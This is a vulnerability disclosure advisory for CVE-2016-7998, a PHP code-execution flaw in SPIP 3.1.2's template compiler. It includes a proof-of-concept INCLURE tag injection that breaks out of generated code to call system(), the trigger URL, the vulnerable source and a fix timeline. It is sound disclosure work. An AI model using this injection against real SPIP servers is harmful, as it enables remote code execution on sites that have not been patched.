07fdc778ee
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## SPIP 3.1.2 Template Compiler/Composer PHP Code Execution (CVE-2016-7998)
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### Product Description
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SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence.
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### Vulnerability Description
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The SPIP template composer/compiler does not correctly handle SPIP "INCLUDE/INCLURE" Tags, allowing PHP code execution by an authenticated user.
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This vulnerability can be exploited using the CSRF or the XSS vulnerability also found in this advisory.
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**Access Vector**: remote
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**Security Risk**: critical
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**Vulnerability**: CWE-94
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**CVSS Base Score**: 9.1 (Critical)
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**CVE-ID**: CVE-2016-7998
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### Proof of Concept
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Store a `.html` file in a random directory with the following content :
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<INCLURE(xxx"\)\);}system\("touch /tmp/exploited"\);/*)>
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Then you can access to the following URL, with the `var_url` paramater pointing to the path corresponding to your uploaded file:
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http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=file:///tmp/directory&ext=html
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The PHP code `system("touch /tmp/exploited");` will be executed after 2 requests.
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This happens because the template file is included (if already compiled) by `ecrire/public/composer.php`, line 60 :
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if (!squelette_obsolete($phpfile, $source)) {
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include_once $phpfile;
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and because we can "exit" the function generated by the template compiler (improper sanitization when generating argumenter_squelette):
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function html_xxxx($Cache, $Pile, $doublons = array(), $Numrows = array(), $SP = 0) {
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if (isset($Pile[0]["doublons"]) AND is_array($Pile[0]["doublons"]))
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$doublons = nettoyer_env_doublons($Pile[0]["doublons"]);
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$connect = '';
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$page = (
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'<'.'?php echo recuperer_fond( ' . argumenter_squelette("xxx"));}system("touch /tmp/exploited");/*") . ', array(\'lang\' => ' . argumenter_squelette($GLOBALS["spip_lang"]) . '), array("compil"=>array(\'/tmp/exploit.html\',\'html_xxxx\',\'\',1,$GLOBALS[\'spip_lang\'])), _request("connect"));
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?'.'>
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');
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return analyse_resultat_skel('html_xxxx', $Cache, $page, '/tmp/exploit.html');
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}
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Therefore, the vulnerability leads to arbitrary PHP code execution.
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### Vulnerable code
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The vulnerable code is located in the `argumenter_inclure` function (`ecrire/public/compiler.php`), line 123.
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if ($var !== 1) {
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$val = ($echap ? "\'$var\' => ' . argumenter_squelette(" : "'$var' => ")
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. $val . ($echap ? ") . '" : " ");
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}
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### Timeline (dd/mm/yyyy)
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* 15/09/2016 : Initial discovery
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* 26/09/2016 : Contact with SPIP Team
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* 27/09/2016 : Answer from SPIP Team, sent advisory details
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* 27/09/2016 : Fixes issued for PHP Code Execution
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* 30/09/2016 : SPIP 3.1.3 Released
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### Fixes
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* https://core.spip.net/projects/spip/repository/revisions/23186
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* https://core.spip.net/projects/spip/repository/revisions/23189
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* https://core.spip.net/projects/spip/repository/revisions/23192
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### Affected versions
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* Version <= 3.1.2
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### Credits
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* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)
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-- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream |